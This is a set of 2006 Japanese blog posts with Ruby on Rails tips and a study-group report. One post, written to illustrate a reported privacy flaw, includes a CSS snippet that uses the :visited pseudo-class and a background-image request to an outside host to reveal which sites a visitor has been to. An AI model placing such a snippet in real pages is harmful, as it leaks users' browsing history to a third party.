This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/92

Railsでテスト時のメッセージに色をつける方法の紹介です。

# gem install redgreen --source require.errtheblog.com
これだけでも、以下のようなコマンドを実行すると、色つきのメッセージが出てきます。
$ rg test/unit/xxxxx_test.rb
さらに、rakeコマンドからテストを起動した時にも利用できるようにしてみましょう。 RAILS_ROOT/test/test_helper.rbファイルに以下の記述を追加します。
require 'redgreen'
これでOK。あとはおもむろにrakeコマンドを実行すれば、色つきのテスト結果が表示されます。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/92

posted by Png genki on Wed 30 Aug 2006 at 18:08

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/91

かなり前から愛用している、英語の類義語検索の老舗Thesaurus.comですが、リニューアルされていてびっくり。

古色蒼然としたデザインがノスタルジックで良かったのですが、これも時代の流れでしょうかね。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/91

posted by Png genki on Wed 30 Aug 2006 at 16:27

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/90

8/27日のRails勉強会@東京#9に参加してきました。前回に引き続いてドリコム東京オフィスでの開催でしたが、大きなトラブルも無く、無事に終わってよかったです。

さて勉強会のほうですが、今回も今までと同様にオープンスペース形式で、前半・後半に分かれて6つのセッションが行われました。

今回は、前半に「LL Ringの家計簿アプリの中身を詳しく(+Award on Railsのソースを読む)」、後半は「has_one :throughを作る」に参加しました。

■LL Ringの家計簿アプリの中身を詳しく(+Award on Railsのソースを読む)

前日に開催されたLL Ringの模様を、かずひこさんとLL Ringに参加した方々が語ってくれました。LL Ringには参加したかったのですが、都合が合わなくて参加できなかったので、いろいろと話が聞けてよかったです。来年は参加したいですね。

それにしても、acts_as_taggableは便利ですね。便利といえば、Dave Thomas氏作のannotated_modelsも非常に便利ですね。

$ ./script/plugin install -x http://svn.pragprog.com/Public/plugins/annotate_models
$ rake annotate_models
とやるだけで、Modelクラスの定義ファイルにスキーマの定義がコメントで追加されます。これは凄く便利。さすがは達人。

最後に、川村さんのmap.resoucesがいかに素晴らしいかという話を聴きました。

PUT /messages/1;edit
GET /messages/1;edit
の「;」はあえて醜く見えるようになっているのですね。editはshowでAjax使ってやるべき、というのが今後のRailsの流れになるのかな。

■has_one :throughを作る

後半は、Yuguiさん作のhas_one :throughのパッチを作って送ろう、というセッションに参加しました。

Railsのパッチを送る時は、テストコードも一緒に送る必要があるのですが、
ActiveRecord周りのテストコードがとても複雑で、テストを考えるのが大変です。Judeファイルを見ながらテストコードの設計方針を考えているうちに、だんだんとABDの話が中心になってきて、大いに盛り上がりました。

羽生さんのABDの資料をみんなでつついていろいろ議論した結果、ようやくABDに対する真の理解が得られた感触がありました。舞波さんが、habtmルネッサンス宣言をするなど、 非常に熱いセッションでした。

最終的に、has_one :throughはプラグインとして公開し、Railsのコアメンバーのbitsweet氏を説得するためにユースケースを考えるという方向にまとまり、めでたしめでたしです。

■懇親会

非常に充実した懇親会でした。

改行の美醜の件、RJSの件、C++はLLかどうか、 横幅80文字はオールドタイプ説、Eclipseを使うとディスプレイがデカくなって行く法則、rails.vimを使いこなす話、RailsEditorは肌に合わない件、Generatorプラグインの話、Engines.startがかっこ悪い話、などなど。

has_one :throughとhabtm_renaissanceが非常に楽しみ。はぶさんを囲むRails使いの団の開催時期も気になります。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/90

posted by Png genki on Mon 28 Aug 2006 at 09:59

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/89

将来的には修正される可能性がありますが、現状のRuby on Railsでは、

render_component :controller => 'entry', :action => 'show', :layout => false
のように、render_componentでlayoutをfalseに指定しても、layoutを無効化する事ができません (「render_component :layout => false doesn't work」参照)

そこで、render_compenentの呼び出し元のコントローラに応じて、レイアウトを自由に設定する方法を紹介します。この方法を使えば、render_componentでlayoutを無効化する事ができるようになります。

やりかたは、render_compenentから呼び出されるアクションの記述を以下のようにするだけです。

EntryController < ApplicationController
  def show
    case parent_controller
    when TopController; render :layout => false
    when RankingController; render :layout => 'ranking'
    end
  end
end
Ruby on Railsでは、render_componentからアクションが呼び出された場合、呼び出し元のコントローラがparent_controllerに設定されます。これを利用して、呼び出しもとのコントローラに応じてレイアウトを自由に変更することができます。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/89

posted by Png genki on Sat 26 Aug 2006 at 05:02

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/88

8/24発売の日経ソフトウエア10月号で、仕事で使えるRuby on Railsと題して、特集記事を書かせていただきました。

今月はRuby特集です。 プロコン出身者としては、プロコンの話が載ってて懐かしい…。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/88

posted by Png genki on Fri 25 Aug 2006 at 16:01

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/87

in_place_editor_fieldとかを使っていると、属性ごとに個別に妥当性検証を行いたい時がありますね。 そんなわけで、Modelの特定の属性(Attribute)だけ妥当性を検証する方法のメモです。

model[attribute] = some_value
if !model.valid? && model.errors.invalid?(attribute)
  # specified attribute is invalid!
end
あとは、in_place_editor_fieldもerrorsの中身をチェックして赤くなったり、メッセージを出したりしてくれると良いんですけど。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/87

posted by Png genki on Thu 24 Aug 2006 at 03:00

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/85

yamazのRails日記 を読んでいて、injectを使う局面を思いついたのでメモ。

目的は、Arrayから特定の条件を満たす要素に変換を掛けた結果を取得する事です。

[1,2,3].inject([]){|r,i| i!=2 ? r<<i.to_s : r} #=> ["1","3"]
ちょうどselectとmapを同時にかけたような感じになります。

逆に、mapした結果をselectしたい場合は

["a","ab","aab"].inject([]){|r,i| (s=i=~/b/) ? r<<s : r} #=> [1,2]
こんな風にすればOKですね。

※注 このエントリの内容は、隙あらばinject派(Rubyist SNS)のお遊びなので、通常は可読性を考えてselectとmapを使ったほうが無難です(8/22 16:56 追記)

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/85

posted by Png genki on Tue 22 Aug 2006 at 00:11

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/84

Ruby on Railsでは、config/routes.rbファイルにURLとアクションの対応付けを記述します。 例えば、以下のように記述した場合;

map.connect 'for/:bar', :controller => 'foo', :action => 'show'
/foo/bazにアクセスすると、params[:bar]に'baz'が入った状態でFooController#showが呼び出されます。

しかし、/fooにアクセスするとRouting Errorになってしまいます。:barの指定を省略可能にするには、

map.connect 'for/:bar', :controller => 'foo', :action => 'show', :bar => 'default_value'
のように、デフォルトのbarの値を指定します。これによって、/fooでアクセスした時にはparams[:bar]は'default_value'となり、それ以外の場合には指定した値が入るようになります。デフォルト値にはnilを指定する事も可能です。

:controller、:action、:idの3つの特殊パラメータに関しては、最初から省略可能になっていますが、それ以外のパラメータについては、上記のようにデフォルト値を設定する事で、明示的に省略可能にする必要があります。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/84

posted by Png genki on Mon 14 Aug 2006 at 02:50

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/83

brazilさんのエントリ「そのリソースを訪問済みか判定する」で、visited擬似クラスによって訪問済みサイトの情報が漏洩してしまうという事が指摘されています。

確かにいろいろまずそうですね…。addRuleを使わなくても、background-imageとかで外部URLを指定して、そこへのアクセスを調べたら、動的にvisitedのルールを追加できなくても同じ事が出来そうです。

<style>
a#url-1:visited {
  background-image: url("http://accesscheck.com/?url=http://foo.bar.com/");
}
</style>
<a id="url-1" href="http://foo.bar.com/">foo.bar.com</a>
visited擬似クラス自体を無くす必要があるかも。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/83

posted by Png genki on Sun 13 Aug 2006 at 00:57

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/75

Ruby-GetText-Packageを用いてRubyアプリケーションの開発を行う場合、msgmerge等のコマンドを使うためにGNU GetTextもインストールして使う方法が一般的です。

しかし、Ruby-GetText-PackageにはRuby版のmsgmergeの実装であるrmsgmergeが同梱されているので、これを使うように指定する事で、GNU GetTextを使用せずにRuby-GetText-Package単体で多言語アプリケーションの開発を行う事ができます。

具体的には、環境変数MSGMERGE_PATHにrmsgmergeを指定すればOKです。 Rakeターゲットupdatepoを作っている場合は、rakeの実行時に下記のように指定する事もできます。

$ rake updatepo MSGMERGE_PATH=rmsgmerge
rmsgmergeにPATHが通っていれば、上記のようにコマンド名だけ指定すればOKですが、そうでない場合はフルパスで指定しましょう。 Windows環境の場合は、rmsgmerge.cmdのように末尾に.cmdをつける必要があるようです。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/75

posted by Png genki on Sun 6 Aug 2006 at 00:57